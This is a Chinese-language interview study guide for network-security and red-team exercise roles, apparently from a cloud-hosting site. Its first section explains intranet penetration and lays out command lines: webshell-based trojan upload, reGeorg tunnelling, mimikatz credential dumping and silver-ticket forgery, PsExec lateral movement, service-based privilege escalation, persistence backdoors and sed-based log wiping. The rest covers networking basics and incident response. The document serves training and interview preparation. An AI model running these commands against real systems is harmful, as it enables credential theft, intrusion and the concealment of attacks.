以下为已总结“网络安全”及“护网”面试,均在:(https://www.haotaoyun.com/category/soc/)
- “网安 + 护网”终极 300 多问题面试笔记 - 全
- “网安 + 护网”终极 300 多问题面试笔记 - 1 共 3 - 内网 & 域相关
- “网安 + 护网”终极 300 多问题面试笔记 - 2 共 3 - 计算机网络相关
- “网安 + 护网”终极 300 多问题面试笔记 - 3 共 3 - 综合题型(最多)
- 网安护网面试 -1- 长亭护网面试
- 网安护网面试 -2- 国誉护网面试
- 网安护网面试 -3- 鸿鹄科技护网面试
内网 & 域相关
你是如何做内网渗透的
第一种方法:在具备 Webshell 的情况下,通过 Webshell 直接上传 CS 木马到对方服务器运行,在 CS 软件上面开启 SocksProxy 代理,把 kail 直接通过 cs socksProxy 代理攻击内网进行横向渗透。第二种方法:通过 reGeorg+Proxifie 进行内网渗透,把 tunnel.nosocket.php 脚本通过 Webshell 上传到 Web 站点目录进行访问,在本地自己电脑上面执行 reGeorgSocksProxy.py -p 9999 –u http://IP 地址 /tunnel.nosocket.php,最后配置 Proxifier 本地代理地址与端口进行横向内网渗透。
内网渗透的流程
拿到跳板后,先探测一波内网存活主机
用 net user /domian 命令查看跳板机是否在域内
探测存活主机、提权、提取 hash、进行横向移动
定位 dc 位置,查看是否有能直接提权域管的漏洞,拿到 dc 控制权后进行提权
然后制作黄金票据做好维权,清理一路过来的日志擦擦脚印
内网信息收集
内网主机的基本信息(版本,补丁等)
systeminfo 详细信息
net start 启动服务
tasklist 进程列表
网络信息
ipconfig /all 判断存在域 -dns
net view /domain 判断存在域
net time /domain 判断主域,
通过查看时间返回计算机名 称信息包含域信息
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址用户信息(域用户信息,组信 息等)whoami /all 用户权限
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
凭据信息:收集各种密文,明文,口令等,为后续横向渗透 做好测试准备
内网横向渗透一般攻击技巧
先对跳板机进行 nmap,nessus 扫描,扫出来相关网段下存活的主机和漏洞。利用 Mimikatz 或 PwDump7 获取域内单机密码与 Hash。利用 Windows 远程连接命令进行横向渗透,拿到目标机器的用户明文密码或者 NTLM Hash 后,可以用 Windows 自带的方法对远程目标系统进行命令行下的连接操作,连接远程主机并执行相关命令。最常见的就是建立 IPC 连接,通过跳板机连接目标机,进行上传、下载等操作。还有 c$ 盘共享连接,不过只能读取,通常不用。IPC 连接后可以上传木马等文件,然后通过定时命令创建计划任务,如 window 的 at 命令。哈希传递攻击(PTH),该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在 Windows 系统中,通常会使用 NTLM Hash 对访问资源的用户进行身份认证,所以该攻击可以在不需要明文密码的情况下,利用 LM HASH 和 NTLM HASH 直接远程登录目标主机或反弹 shell。使用 PsExec 直接连接攻击。利用服务进行攻击。
横向渗透命令执行手段
psexec,wmic,smbexec,winrm,net use 共享 + 计划任务 +type 命令
psexec 和 wmic 的区别:psexec 会记录大量日志,wmic 不会记录日志并且更为隐蔽
kerbores
kerbores简介
Kerberos 是一种身份认证协议,被广泛运用在大数据生态中,甚至可以说是大数据身份认证的事实标准。
Kerberos 认证的大概流程
KDC(Key Distribution Center)密钥分发中心。在 KDC 中又分为两个部分:Authentication Service(AS, 身份验证服务)和 Ticket Granting Service(TGS, 票据授权服务)
AD 会维护一个 Account Database(账户数据库). 它存储了域中所有用户的密码 Hash 和白名单。只有账户密码都在白名单中的 Client 才能申请到 TGT。当 Client 想要访问 Server 上的某个服务时, 需要先向 AS 证明自己的身份, 验证通过后 AS 会发放的一个 TGT, 随后 Client 再次向 TGS 证明自己的身份, 验证通过后 TGS 会发放一个 ST, 最后 Client 向 Server 发起认证请求, 这个过程分为三块:Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。
针对 kerbores 的攻击有哪些
用户名爆破
密码喷洒和密码爆破
Kerberoasting
ASRepRoasting
黄金票据和白银票据
MS14-068
非约束委派、约束委派、基于资源的约束委派
票据传递(ptt/ptk/ptc)mimikatz 加密降级攻击(万能钥匙)
使用恶意的 kerberos 证书做权限维持
黄金票据
原理
在 Kerberos 认证中,Client(客户机)通过 AS(身份认证服务)认证后,AS 会给 Client 一个 Logon Session Key 和 TGT, 而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的 NTLM Hash 又是固定的, 所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和 Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后, 就跳过 AS 验证, 不用验证账户和密码, 所以也不担心域管密码修改。黄金票据常用于权限维持。当我们获得域控的控制权限后,有可能获取域内所有用户的 hash,和 krbtgt 的 hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且 krbtgt 的密码没有更改,此时我们可以利用 krbtgt 用户的 ntlm hash 制作黄金票据伪造 tgt,重新获取域控的管理权限。
所需条件
域名称[AD PowerShell 模块:(Get-ADDomain).DNSRoot]
域的 SID 值[AD PowerShell 模块:(Get-ADDomain).DomainSID.Value](就是域成员 SID 值去掉最后的)目标服务器的 FQDN
可利用的服务
域的 KRBTGT 账户 NTLM 密码哈希
需要伪造的用户名
一旦攻击者拥有管理员访问域控制器的权限,就可以使用 Mimikatz 来提取 KRBTGT 帐户密码哈希值
白银票据
原理
如果说黄金票据是伪造的 TGT, 那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后, 通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3, 进而验证对方的身份, 验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST, 且不会经过 KDC, 但是伪造的门票只对部分服务起作用。
所需条件
域名
域 sid
目标服务器名
可利用的服务
服务账号的 NTML HASH
需要伪造的用户名
制作过程,主要使用工具还是 mimikatz 和 psexec
第一步:管理员权限运行
mimikatzprivilege::debug #提升权限
sekurlsa::logonpasswords #获取 service 账户 hash 和 sid(同一个域下得 sid 一样)
第二步:清空本地票据缓存
kerberos::purge #清理本地票据缓存
kerberos::list #查看本地保存的票据
第三步:伪造白银票据并导入
第四步:访问域控的共享目录
dir \\win08\c$
远程登陆,执行命令
PsExec.exe \\win08 cmd.exe
whoami #查看权限
黄金票据和白银票据的区别
票据相关:www.freebuf.com/articles/ot…
获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
passwd 和 shadow 的区别
/etc/passwd 存储一般的用户信息,任何人都可以访问;/etc/shadow 存储用户的密码信息,只有 root 用户可以访问
如何获取内网中机器数量
可以使用命令 net user /domian
使用扫描器扫一下
拿下边界机器如何内网渗透?
拿下机器后,使用代理访问内网
windows 环境:reGeorg 与 proxifier
Linux 环境:reGeorg 与 proxychains,使用 nmap 等工具进行扫描,发现 web 服务的主机和其它信息。有时这些边界机器上会记录一些内网服务器上的一些信息(用户 ssh known_hosts hosts 防火墙设置 记录、内网之间好多 waf 规则基本都是空,大多数 waf 防外部威胁,这时候可以拿到探测的内部一些开放的端口判断进行渗透,通常用户这里基本是统一命名的,拿到的各种记录 会暴露出部分内网通讯的 ip.
内网端口转发失败的原因
防火墙的策略 此端口不允许出网
端口转发工具特征比较明显
端口无法提供服务
端口转发的 ip 肉鸡(攻击者已拿下的机子)无法访问
常见端口转发工具
Frp nc(netcat) lcx
内网环境不出网怎么办
通过 webshell 实现内网 socket 代理
正向链接
ssh 隧道
协议不同出网的方式不同,如 dns 对应 dnscat2
测试是否是特定协议或端口出网
Windows 提权
A. 系统漏洞提权
1- 通过 Webshell 命令行执行 systeminfo 命令查看系统是否打了提权补丁,未打补丁的统可通过 github 下载系统提权漏洞 exp 进行提权,KB2592799、KB3000061、KB2592799 等。2- 通过 Webshell 找网站读写执行目录,把 cs 马或提权 exp 上传到对方服务器(如果 cmd 无法执行命令可单独上传 cmd.exe 到对方服务器,菜刀终端设置为 setp c:\XXX\cmd.exe)B.sc 命令提权(administrator–>system)例如:sc Create syscmd binPath=“cmd /K start”type= own type= interactsc start systcmd,就得到了一个 system 权限的 cmd 环境
C. 不带引号的服务路径
当服务路径带空格的时候,路径空格目录前面一断就会当作文件执行,如 C:\ProgramFiles\MSBuild 这个目录,攻击者只要在 c 盘创建名为 Program.exe 的木马,最后只要系统重启就会执行 C:\Program.exe 文件。D. 不安全的服务权限提升
即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,我们用木马替换服务调用的默认文件。E. 绕过系统 UAC 提升
可通过 msf 里面的 getsystem 绕过 UAC, 也可以通过 kail 模块的
exploit/windows/local/bypassuac_injection、exploit/windows/local/bypassuac_vbs、exploit/windows/local/ask 绕过 UAC
linux 提权
msf 和 cs 直接提权
内核漏洞提权,最出名的有脏牛漏洞(Dirty Cow),查看内核版本:uname -a。Linux 环境变量提权,可以通过写入环境变量的靠前路径一个同名恶意文件从而导致环境变量劫持。定时任务提权,通过配置 crontab 可以让系统周期性地执行某些命令或脚本,由于 cron 通常以 root 特权运行,如果可以修改其调度地任何脚本或二进制文件,便可以使用 root 权限执行任意代码。suid 提权,如果某个设置了 SUID 权限的程序运行后创建了 shell,那么 shell 进程的 EUID 也会是这个程序文件属主的 UID,如果属主为 root,便是一个 root shell。root shell 中运行的程序的 EUID 也都是 0,具备超级权限,于是便实现了提权。passwd/shadow 密码提权,可写,或者明文,或者可爆破。NFS 提权
docker 提权。
Windows 和 linux 权限维持
Windows 机器:1. 替换系统文件类(shift 后门, 放大镜后门)
2. 修改注册表类
自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、影
子账户、AppCertDlls 注册表项、AppInit_DLLs 注册表项、文件关联、用户
登陆初始化、xx.Netsh Helper DLL
3. 文件类
自启动文件夹、office Word StartUp 劫持
4. 计划任务
schtasks、WMI、bitsadmin
Linux:
##########
文件前面加. 进行隐藏。文件时间伪造,文件属性伪造。添加高权限用户。拷贝文件并赋予 suid 权限。/etc/crontab 添加计划任务
##########
1. 预加载型动态链接库后门
2.strace 后门
3.SSH 后门
4.SUID 后门
5.inetd 服务后门
6. 协议后门
7.vim 后门
8.PAM 后门
9. 进程注入
10.Rootkit
11. 端口复用
域控
概念:可以对域内的机器进行控制,拥有较高的权限。域控是域控制器的简称,域控制器是指在 " 域 " 模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作。查找方法:去寻找 dns 域名服务器,一般域控就是 dns 域名服务器。命令:ipc onfig -all,还有 net time
拿到 shell 后如何接管域控
如果拿到的就是域内用户,定位一下域控,提取本机 `hash` 看域管是否登陆过本机,是否有域用户的进程之类的注入域用户进程窃取下权限,然后使用一些域内漏洞来提权到域管从而接管域控,然后通过 `dcsync` 权限维持或者 `adminsdhound` 权限维持,也可以修改机器账号的 `useraccount` 位 8192 权限维持
内网渗透搭建隧道常见的攻击?
frp、ew、ssh、Neo-reGeorg、netsh、Lcx
===========
网络层:Ipv6 情况、icmp 情况、Gre 隧道 0
传输层:Tcp 隧道、udp 隧道 常规端口转发
应用层:ssh 隧道、http 隧道、https 隧道、dns 隧道
KDC 服务默认开放哪些端口
88 和 464
88 kerberos krb5、464 kerberos kpasswd(v5)
抓取密码的话会怎么抓
procdump+mimikatz 转储然后用 mimikatz 离线读取
Sam 获取然后离线读取
mimikatz
使用方法
mimikatz 是一款强大的系统密码破解获取工具。可以破解哈希值,是一个可加载的 Meterpreter 模块。如果 system 的权限无法执行执行。需要先进行提权。在 meterpreter 中输入 run post/multi/recon/local_exploit_suggester,进行提权漏洞检测。
修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码
Win10 抓取明文,用 mimikatz 的 exe 版本。
Win2012 R2 等服务器版本抓取明文,用 mimikatz 的 powershell 版本。(网上有代码)
powershell 适用范围有限, 只能适用于 win7,2008r2 之后的系统。
实战时,由于必须在注册表登陆后才有明文,我们可以在 shell 中执行命令配置注册表之后,尝试利用锁屏脚本(锁屏之前,一定要查看管理员是否在线),让管理员重新登录。
利用的是 lsass.exe 进程
windows server 2012 之后,或者打了补丁,抓不到的话怎么办
翻阅文件查找运维等等是否记录密码。或者 hash 传递、或者获取浏览器的账号密码
内网的白名单 如何突破
利用已在白名单中的软件执行目标代码,甚至发动无文件攻击
白名单污染
暴力破解白名单防护软件
内网 135 端口有哪些利用方式
爆破用户、wmic 执行命令进行横向
域控定位
cmd 定位:net group "Domain controllers" /Domain // 查询域控
net time /domain// 方式来定位域控,显示域控时间
DNS 解析记录定位:nslookup -type=all _ldap._tcp.dc._msdcs.tubai.com` // 若当前主机 dns 为域内 dns,则可以通过解析记录定位
端口探测定位:扫描内网中同时开放 `389`、`636` 与 `53` 的机器,`389` 默认是 `LDAP` 协议端口,`636` 端口是 `LDAPS`,`53` 端口默认是 DNS 端口,主要用于域名解析,通过 DNS 服务器可以实现域名与 ip 地址之间转换,他们都是域控机器开放的端口
SPN 扫描定位:由于 `SPN` 本身就是正常的 `kerberos` 请求,所以扫描隐蔽,它不同于 `TCP` 与 `UDP` 常规端口扫描。大部分 windows 已经自带 `setspn.exe`,且此操作无需管理权限
命令:setspn -T tubai.com -Q /
扫描结果中根据:`CN=AD-SERVER,OU=Domain Controllers,DC=tubai,DC=com` 来进行域控的定位
域管定位
net group "Domain Admins" /domain // 查询域管理员
此外还可以通过一些工具定位:PSloggedon.exe、PVefindaduser.exe、powerView.ps1
域渗透思路
通过域成员主机,定位出域控制器 IP 以 及域管理员账号,利用域成员主机作为 跳板,扩大渗透范围。利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从该域成员主机内存中 dump 出域管理员密码,进而拿下域控制器。
正向 shell 和反向 shell
正向 Shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。反向 Shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。
隐藏痕迹方法
跳板
代理服务器
Tor
日志
清除历史记录
粉碎文件
入侵 Linux 清除哪些日志
web 日志,如 apache 的 access.log,error.log。直接将日志清除过于明显, 一般使用 sed 进行定向清除
e.g. sed -i -e‘/192.169.1.1/d’history 命令的清除,也是对~/.bash_history 进行定向清除
wtmp 日志的清除,/var/log/wtmp
登录日志清除 /var/log/secure
>>好淘云<< (haotaoyun.com) · 实时更新全网云服务器测评与选购指南 · 分享建站、运维及网络安全小技巧
计算机网络相关
OSI 七层模型
应用层:直接面向用户,为用户提供服务。主要协议:HTTP、FTP、SMTP、POP、Telnet
表示层:处理用户信息的表示问题。
会话层:组织协调两个会话进程之间的通信。
传输层:负责端到端通信。主要协议:TCP、UDP
网络层:通过路由选择,将分组选择适当的路径发往目的地。主要协议:IP、ARP、ICMP、IGMP
链路层:通过差错控制,使有差错的物理线路变为无差错的数据链路,提供可靠的通过物理介质传输数据的方法。分为 MAC 和 LLC 两层。
物理层:实现比特流传输。
HTTP 报文段?(南瑞信通)
请求报文:请求行(请求方法、URL、协议版本)、请求头、空行、实体体。
常见头:Host、User-Agent、Connection、Accept-Charset、Accept-Encoding、Accept-Language
响应报文:状态行(协议版本、状态码、状态码描述)、响应头、空行、实体体。
常见头:Date、Server、Connection、Cache-Control、Content-Type、Content-Length、Content-Charset、Content-Encoding、Content-Language
POST 和 PUT 区别
PUT 是向服务器端发送数据,修改数据的内容,但不会增加数据的种类(更新数据)
POST 则会改变数据种类等资源,会创建新的内容(创建数据)
POST 和 GET 区别?
- **应用场景:**GET 用于对服务器资源不会产生影响的场景(如请求一个网页的资源);POST 相反(如注册)
- **是否缓存:**浏览器一般会缓存 GET 请求,但很少缓存 POST 请求
- **传参方式:**GET 通过查询字符串传参,POST 通过请求体传参
- **安全性:**GET 可将请求参数放入 URL 中向服务器发送,会被保留在历史记录中,不安全
- **请求长度:**由于浏览器对 URL 长度限制,会影响 GET 发送数据的长度
- **参数类型:**GET 只允许 ASCII 字符,而 POST 连文件、图片都能传
HTTP 连接方式?
长连接、短连接。
HTTP/1.0 中默认使用短连接,浏览器和服务器每进行一次 HTTP 操作,就建立一次连接,任务结束就中断连接。
HTTP/1.1 起默认使用长连接,请求头会有 Connection: keep-alive
响应状态码(美团)
1XX - 信息型,服务器收到请求,需要请求者继续操作。2XX - 成功型,请求成功收到,理解并处理。3XX - 重定向,需要进一步的操作以完成请求。4XX - 客户端错误,请求包含语法错误或无法完成请求。5XX - 服务器错误,服务器在处理请求的过程中发生了错误。
常见响应状态码
200 OK - 客户端请求成功
300 重定向,转跳
301 永久重定向;资源(网页等)被永久转移到其它 URL
302 临时重定向;临时跳转
400 Bad Request - 客户端请求有语法错误,不能被服务器所理解
401 Unauthorized - 请求未经授权,这个状态代码必须和 WWW-Authenticate 报头域一起使用
403 无权访问
404 请求资源不存在,可能是输入了错误的 URL
500 服务器内部发生了不可预期的错误
503 Server Unavailable - 服务器当前不能处理客户端的请求,一段时间后可能恢复正常。
常见端口
HTTP (80):用于 Web 服务器上的常规 HTTP 流量。HTTPS (443):用于加密的 Web 服务器上的 HTTPS 流量。FTP (21):用于文件传输协议。SSH (22):用于安全远程 shell 访问。Telnet (23)
MySQL (3306):用于 MySQL 数据库的连接。redis (6379)
Oracle (1521)
MongoDB (27017)
SQLServer (1433)
memcached (11211)
HTTP 和 HTTPS 的区别?
HTTP 是明文传输。
HTTPS 是 HTTP+SSL 加密。工作原理:
- 先建立连接,然后服务端发送证书给客户端;确认信任该证书后服务端再要求客户端发送证书并验证**(双向身份验证)**
- 加密过程:
先 非对称加密:客户端发送第一随机数给服务端,服务端发回第二随机数 + 公钥,客户端用公钥加密得到预主密钥(第三随机数),发往服务端,两端通过第一随机数 + 第二随机数 + 预主密钥得到相同的会话秘钥
接下来为 对称加密(都用会话秘钥)
TCP 三次握手和四次挥手?(腾讯、美团、米哈游、招银网络)
TCP 建立连接时需要三次握手。
- 第一次握手:客户端发送 syn 包到服务器,进入 SYN_SENT 状态,等待服务器确认。
- 第二次握手:服务器收到 syn 包,向客户端发送 syn+ack 包,进入 SYN_RECV 状态。
- 第三次握手:客户端收到 syn+ack 包,向服务器发送 ack,此时两端进入 ESTABLISHED 状态。
TCP 断连需要四次挥手。
- 第一次挥手:客户端想要关闭连接时,会发送一个 FIN 给服务器,请求关闭连接。此时,客户端进入 FIN_WAIT_1 状态,等待服务器的确认。
- 第二次挥手:服务器收到 FIN 后,发送一个 ACK 回应,表示收到关闭连接的请求。服务器进入 CLOSE_WAIT 状态。
- 第三次挥手:由于客户端想要关闭连接,服务器可能还有部分数据没有传输完成,所以还需要一段时间传输,等完成后,服务器会再向客户端发送一个 FIN,表示数据全部传输完毕,可以关闭连接。
- 第四次挥手:客户端收到 FIN 后,发送一个 ACK 作为回应。服务器收到这个 ACK 后就完成关闭连接。而客户端会再等待 2 个 MSL,以确保服务器收到了 ACK 包,并且不会出现新旧连接的数据混淆问题。
三次握手和四次挥手都是工作在传输层。传输层(Transport Layer)是 OSI 模型的第四层,负责提供端到端的通信服务,包括数据传输的建立、维护和终止。
TCP 和 UDP 的区别?(腾讯)
- TCP 是面向连接的,UDP 是无连接的。
- TCP 提供可靠交付,UDP 不保证可靠交付,没有拥塞控制。
- TCP 面向字节流,UDP 面向报文。
- TCP 连接是全双工的可靠信道,只能是点对点;而 UDP 可以一对一、一对多、多对一、多对多。
- TCP 首部开销 20 字节,UDP 只有 8 字节。
>>好淘云<< (haotaoyun.com) · 实时更新全网云服务器测评与选购指南 · 分享建站、运维及网络安全小技巧
else
Linux 排查思路
(1)首先检测用户账号安全,如新增用户和可疑用户以及高权限用户。
(2)history 命令查看历史 linux 指令,uptime 查看用户登录信息
(3)检查端口 (netstat 命令) 和进程(ps 命令),重点观察资源占用率高的进程
(4)检查日志信息,var/log 文件夹内的一些系统日志和安全日志。
(5)利用自动化查杀工具进项查杀。
linux 常见命令及问题
相对重要
pwd: 显示当前所在目录的路径。touch: 用于创建新文件或更新文件的时间戳。cp: 用于将文件或目录从一个位置复制到另二个位置。mv: 用于将文件或目录从一个位置移动到另一个位置,也可以用来重命名文件或目录。rm: 用于删除文件或目录。mkdir: 用于创建新的目录。rmdir: 用于删除空目录。grep: 用于在文件中查找匹配的字符串或模式。find: 用于在文件系统中查找文件。top:查看内存 / 显示系统当前进程信息
df -h:查看磁盘储存状况
iotop:查看 IO 读写(yum install iotop 安装)iotop -o:直接查看比较高的磁盘读写程序
netstat -tunlp | grep 端口号:查看端口号占用情况(1)lsof -i: 端口号:查看端口号占用情况(2)uptime:查看报告系统运行时长及平均负载
ps aux:查看进程
查看进程
ps、top、htop、pstree
ps:列出正在运行的进程信息。可以使用不同选项来显示不同信息,如进程 ID、CPU 使用率、内存使用情况等。
ps -ef:列出所有进程的完整信息
ps aux:以用户为基础列出进程的信息
top:实时查看系统的进程活动情况。可以显示系统的运行状态、CPU 使用率、内存使用情况等。
top # 查看系统的进程活动情况
top -p 1234 # 查看进程 ID 为 1234 的进程活动情况
htop 命令:类似于 top 命令,不同之处在于 htop 使用图形界面显示进程信息,可以更直观地了解系统进程使用情况。
htop # 通过图形界面查看系统的进程活动情况
htop -u root # 查看 root 用户的进程活动情况
htop -p 1234 # 查看进程 ID 为 1234 的进程活动情况
pstree 命令:以树状结构显示进程之间的关系。可以查看当前系统运行的所有进程,并显示它们之间的关系。
pstree # 以树状结构显示所有进程信息
pstree -p # 显示所有进程的 PID 号
pstree firefox # 显示名为 firefox 的进程及其子进程
查看端口号占用情况
netstat -tunlp | grep 端口号
lsof -i: 端口号
查看文件类型
ls -l 或者 ll (ls -l 别名)
file 命令
stat 命令
相关问题
安全设备发现一台 Linux 主机触发挖矿告警上机排查该机器执行 ps,top 命令未发现挖及恶意进程,现在怀疑 ps,top 命令被替换动态链接库被劫持,请问应该如何处理?
- 使用 cat /etc/ld.so.preload 命令查看动态链接库文件是否加载有 so 文件,提取加载的 so 文件上传至威胁情报平台,判断是否为恶意 so 文件
- 清除 so 文件,使用 ldconfig 命令重新加载动态链接库,执行 ps,top 命令查看是否可以发现挖矿进程信息
应急响应相关
参考网站:blog.csdn.net/kongzhian/a…
PDCERF 模型:
- 准备阶段:将 PDCERF 中可能会使用到的工具、知识、技能进行提前准备,为后面的流程节约时间。
- 检测阶段:目的是确认入侵事件是否发生。常见的漏洞通过分析日志即可,而病毒需要进行进一步的分析。病毒本身必然有网络行为,内存必然有其二进制代码,它要么是单独的进程模块,要么是进程的 dll/so 模块,通常,为了保活,它极可能还有自己的启动项、网络心跳包。
- 遏制阶段:目的是控制事件影响范围,避免黑客在内网中进一步扩大攻击面。
- 根除阶段:目的是避免黑客再度侵入。
- 恢复阶段:目的是恢复业务的连续性。
- 跟踪总结阶段:目的是思考安全事件的根本原因,优化安全策略.
一般应急响应流程
- 事件判断:判断是否是安全事件,是哪种安全事件(勒索,挖矿,断网,ddos)
- 临时处理:给出客户临时处置建议,断网隔离,封禁 ip,保护现场环境
- 信息收集分析:收集客户信息和中毒主机信息,包括样本,日志分析,进程分析,启动项分析
- 清理处置:直接杀掉进程,删除文件,打补丁,亦或是修复文件
- 产出报告:整理并输出完整的安全事件报告
linux 服务器被上传 webshell,如何进行应急
- 在网站的根目录下用下河马或者 d 盾扫下看看,看看能不能扫出 webshell
- 查看网站的 web 日志,使用 weblshell 会在网站的 web 日志中留下 Webshell 页面的访问数据和数据提交记录,主要特征是少量 ip 对其发起访问,总的访问次数少,该页面属于孤立页面
- 看下相关设备的告警流量,看下 webshell 的名字和路径,然后在服务器上使用 find 命令进行查找。并删除。
应急响应常用的工具
火绒剑、d 盾、河马(linux 和 windows 通用)、微步云沙箱
windows 应急响应
进程排查 netstat -ano 查看目前的网络连接,定位可以的 ESTABLISHED,根据 netstat 定位的 pid(进程编号),再通过 taskli st 显示运行本地或远程计算机的所有进程
用户组情况判断 查看服务器中的,dos 命令 net user 查看隐藏的账户,注册表 HKEY_LOCAL_ MACHINE\SAM\SAM\Domains\Acco unt\Users\Names
服务相关判断 运行 command+R m sconfig(打开系统设置)服务
系统启动项排查 msconfig 启动
计划任务创建 / 删除检测 cmd 中 scht asks.exe
注册表的排查 注册表的排查,建议 使用杀软去做
文件排查 查看最近访问的目录:recent webshell:D 盾、河马 webshell C2 后门:360、卡巴、诺顿
日志排查 windows 登录日志排查 运行 eventvwr 4624 账号成功登录 4625 账号登录失败
中间件日志排查 不同中间件有不同日志目录 看源 ip 目的 url 时间 响应码 可以用工具:360 星图日志结尾一般为 acess.logo
linux 应急响应
文件排查:tmp 目录文件(临时文件)ls -alt /tmp
启动项排查:查看开启启动项内容 ls -alt /etc/init.d/
查看命令执行记录:直接 history 或 者 cat ~/.bash_history
用户信息排查 /etc/passwd
计划任务排查:crontab -l 查看当 前的计划有那些,是否有后门木马程序 启动相关信息
进程排查:netstat -antlp,根据 n etstat 定位出 pid,使用 ps 命令,分析 进程 top
系统登录日志排查:ssh 日志:/var/log/lastlog 查看最近登 录的记录 系统中所有用户最近一次登录信息:las tlog
中间件日志查询 Apache:/var/log/httpd/ Ngix:/var/log/nginx/
后门排查 使用河马 webshell /find(命令) 可以用工具:GScan
勒索病毒应急响应
首先了解现状,了解发病时间和系统架构,并且确认被感染的主机
然后先进行临时处置,对被感染的主机进行网络隔离,禁止使用移动存储设备,对未感染的主机进行 ACL 隔离,关闭 SSH(linux 的远控)、RDP(windows 的远控)等协议,也不能使用移动存储设备
获取样本,windows 系统进行文件排查、进程排查、系统信息排查、系统日志排查;linux 系统排查文件、进程、日志
进行进一步的处置,对已经感染的主机进行断网隔离,等待解密进展,最后重装系统。对未感染的主机进行补丁修复,还可以使用安全软件进行防护并及时更新病毒库 / 规则库
最后是防御,定期打补丁、部署杀软、对口令策略进行加固,部署流量检测设备
挖矿应急响应
1、判断
大部分内网挖矿告警,木马病毒都是基于情报的告警,误报率很大,先判断是否是真的挖矿。
通常来说,当我们的服务器或 PC 资源 (CPU) 使用率接近或超过 100%,并持续高居不下导致服务器或 PC 操作延缓,我们就可以判定被挖矿。
(1)查看 cpu 占用率(判断 CPU 占用率高不高)
(2)查看天眼的流量分析,是否去别的有危险的网站下载过东西,然后在本地执行了挖矿的一些命令;
(3)是否有外连,向远程 ip 的请求;(netstart -ano 查看所有端口)
2、事件分析
(1)登录网站服务器,查看进程是否有异常;(系统命令 tasklist)
(2)进行查看异常进程的服务项是什么,尤其是可疑服务项(系统命令 services.msc 查看服务项)
(3)进行查看一下计划任务有没有可疑的
3、临时解决方案(最后解决并处置)
(1)停止并禁用可疑服务项,有时候服务项的名称会变,但描述不会变,根据描述快速找到可疑服务项,删除服务项
(2)根据实际存在木马的路径,进行删除木马
(3)重启计算机
(4)使用杀软全盘查杀
蠕虫应急响应
蠕虫病毒介绍:蠕虫病毒是一种自包含的程序(或是一套程序),通常通过网络途径传播,每入侵到一台新的计算机,它就在这台计算机上复制自己,并自动执行它自身的程序
发现异常:出口防火墙、本地端口连接情况,主动向外网发起大量连接
病毒查杀:卡巴斯基全盘扫描,发现异常文件
确认病毒:使用多引擎在线病毒对该文件扫描,确认服务器感染 conficker 蠕虫病毒。病毒处理:使用 conficker 蠕虫专杀工具对服务器进行清查,成功清除病毒。
基线加固
-
配置加固
-
应用程序加固
-
软件加固
-
操作系统加固
-
服务器加固
基本的操作系统配置项的加固,包括密码复杂度、定时口令更新、账户用户管理、高危端口和服务关闭等配置项的整改。
日志分析
参考网站:blog.csdn.net/kongzhian/a…
windows
路径:C:\Windows\System32\winevt\Logs,也可以直接在事件查看器上查看日志
- 系统日志(System.evtx):系统组件运行中产生的事件,包括应用程序、组件、驱动程序等,事件包括数据丢失、错误,系统或应用崩溃等
- 安全日志(Security.evtx):安全日志主要记录安全事件有关的日志,包括登录或退出系统成功或失败信息,对重要文件的操作
- 应用程序日志(Application.evtx):应用程序所产生的各类事件
常见事件 id:
4720 创建用户
4624 登录成功
4625 登录失败
4672 特殊权限用户
4728 把用户添加到启用安全性的全局组中
4732 把用户添加到启用安全性的本地组中
4776 账户认证成功 / 失败
7030 创建服务失败
7045 创建服务
7040 IPSEC 服务从禁用变成自启动
分析中心有什么日志:
- 告警日志、原始日志、终端日志等
日志分析:
-- 事件查看器
--powershell
Get-EventLog Security-InstanceId 4672
Get-WinEvent-FilterHashtable @{LogName='Security';ID='4672'}
--FullEventLogView 日志检索工具
Linux
路径:var/log
wtmp 记录登录进入、退出、数据交换、关机和重启
cron 记录与定时任务相关的日志信息
messages 记录系统启动后的信息和错误日志
apache2/access.log 记录 Apache 的访问日志
auth.log 记录系统授权信息,包括用户登录和使用的权限机制等
userlog 记录所有等级用户信息的日志
xferlog(vsftpd.log)记录 Linux FTP 日志
lastlog 记录登录的用户,可以使用命令 lastlog 查看
secure 记录大多数应用输入的账号与密码,以及登录成功与否
faillog 记录登录系统不成功的账号信息
日志分析:
tail-n 10 test.log 查询最后 10 行的日志 head-n 10 test.log 查询头 10 行的日志
tail-n+10 test.log 查询 10 行后的所有日志 head-n-10 test.log 查询除最后 10 行的其他所有日志
日志排查暴力破解是否成功登录
- 在 Linux 系统,ssh 登录的日志信息存储在 /var/log/auth.log 文件
- 在 Windows 系统,ssh 登录的日志信息存储在 事件查看器 ->Windows 日志 -> 安全 ->ID 为 4624 的事件
- 如果发现有大量的登录尝试,服务器就可能已经被暴力破解了
排查思路相关
Linux 入侵排查思路
第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功 ->
第二步:查看 /etc/passwd 分析是否存在攻击者创建的恶意用户 ->
